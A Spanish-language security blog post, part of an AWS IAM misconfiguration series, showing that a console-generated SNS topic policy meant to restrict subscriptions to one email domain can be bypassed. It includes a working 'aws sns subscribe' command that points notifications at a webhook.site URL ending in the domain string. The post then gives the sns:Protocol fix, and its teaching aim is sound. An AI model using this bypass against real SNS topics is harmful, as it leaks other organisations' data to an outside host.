Saltar a contenido

IAM policy mishaps: Case 2 - SNS

Creíais que nos habíamos olvidado de la serie de IAM? Pues es correcto, perdón por el retraso, pero aquí estamos de vuelta.

Hoy vamos a hablar sobre el servicio Amazon Simple Notification Service (SNS).

Info

Recuerda que si quieres probar directamente los ejemplos que vamos presentando echa un vistazo a nuestro repo .

Os hemos dejado preparados los diferentes escenarios en Terraform .

📣 Si es tu primera vez por aquí, puedes echar un ojo a los primeros posts de la serie, IAM policy mishaps: Intro to IAM y IAM policy mishaps: Case 1 - S3, en caso de que no lo hayas hecho aún.

Ahora si, hablemos de Cloud ☁.

Unicrons in the cloud.

Si, esos somos *nosotros* "en la nube".

El servicio de SNS (Simple Notification Service), uno de los servicios más viejos de AWS, nos permite enviar mensajes desde los editores (productores) a los suscriptores (consumidores). Los publicadores se comunican de forma asíncrona con los suscriptores mediante el envío mensajes a un tema, que es un punto de acceso lógico y un canal de comunicación1.

SNS

Una vez presentados 🤝, vamos con los escenarios.

Escenario 1

Objetivo: Suscribirnos a las notificaciones del bucket de facturas. Solo para usuarios de la organización, en este caso usuarios con el dominio @sh3llcon.com.

Cada vez que se suba una factura recibiremos una notificación con su respectivo importe y concepto.

Escenario 1

Sabéis que somos grandes seguidores de la Infra as Code, pero para este caso vamos a crear el topic de SNS desde la consola de AWS:

  1. Accedemos al servicio de SNS:

  2. Creamos un nuevo topic:

  3. Como solo queremos usuarios de nuestra organización, modificamos la access policy usando el propio asistente de la consola:

  4. Revisemos la policy con detalle:

{
  "Sid": "__console_sub_0",
  "Effect": "Allow",
  "Principal": {
    "AWS": "*" // (1)!
  },
  "Action": "SNS:Subscribe", // (2)!
  "Resource": "arn:aws:sns:us-west-2:012345678912:sh3llcon-invoices", // (3)!
  "Condition": {
    "StringLike": {
      "SNS:Endpoint": "*@sh3llcon.com" // (4)!
    }
  }
}
  1. Permitiremos cualquier principal (puesto que estaremos fuera de AWS).
  2. La acción de suscribirse.
  3. El recurso es nuestro propio topic.
  4. La condición de que el endpoint acabe en nuestro dominio

Vale, parece que está todo correcto, no? Bueno, probemos una cosa... 😈

Evil...

Vamos a crear un webhook en webhook.site y vamos a probar esto:

aws sns subscribe --topic-arn arn:aws:sns:us-west-2:012345678912:sh3llcon-invoices \
  --protocol https \
  --notification-endpoint https://webhook.site/b85fef26-6b98-40ad-988f-aa33aa33aa3/@sh3llcon.com
Output
{
  "SubscriptionArn": "pending confirmation"
}

Vaya...

Parece que hemos recibido el mensaje para confirmar la suscripción en nuestro webhook:

Y si lo confirmamos...

Pues parece que acabamos teniendo acceso a la info de las facturas. Y sin necesidad de usar un correo de la organización.

Y os preguntareis: pero si hemos usado el asistente de la consola para crear el topic y la policy, como es posible?

Bueno, pues... 🤷🏻‍♂️

A policy created using the console...

Como podemos solucionar este problema? Fácil, usando el sns:Protocol:

{
  "Statement": [{
    "Effect": "Allow",
    "Action": ["sns:Subscribe"],
    "Resource": "*",
    "Condition": {
      "StringLike": {
        "sns:Endpoint": "*@example.com"
      },
      "StringEquals": {
        "sns:Protocol": "email" //(1)!
      }
    }
  }]
}
  1. El sns:Protocol es un parámetro que permite especificar cómo se va a enviar la notificación. En este caso, estamos permitiendo solo las suscripciones por correo electrónico (email). Esto significa que si alguien intenta suscribirse usando otro protocolo (como SMS o SQS), su solicitud será rechazada.

Lo más divertido de esta solución es que está sacada de la propia documentación de AWS.

Conclusión

Creo que la conclusión de hoy es bastante clara:

Confía, pero verifica.

AWS nos proporciona herramientas para mejorar nuestra seguridad, pero, como hemos visto en este caso, confiar ciegamente en los asistentes o configuraciones por defecto puede llevarnos a sorpresas inesperadas. Es fundamental revisar, probar y validar que nuestras políticas de IAM funcionan exactamente como esperamos.

Por eso, aunque podemos confiar en AWS para ayudarnos a implementar seguridad, es nuestra responsabilidad asegurarnos de que realmente está protegiendo nuestros recursos como queremos.

Trust, but verify.

Saludos, y que la fuerza os acompañe.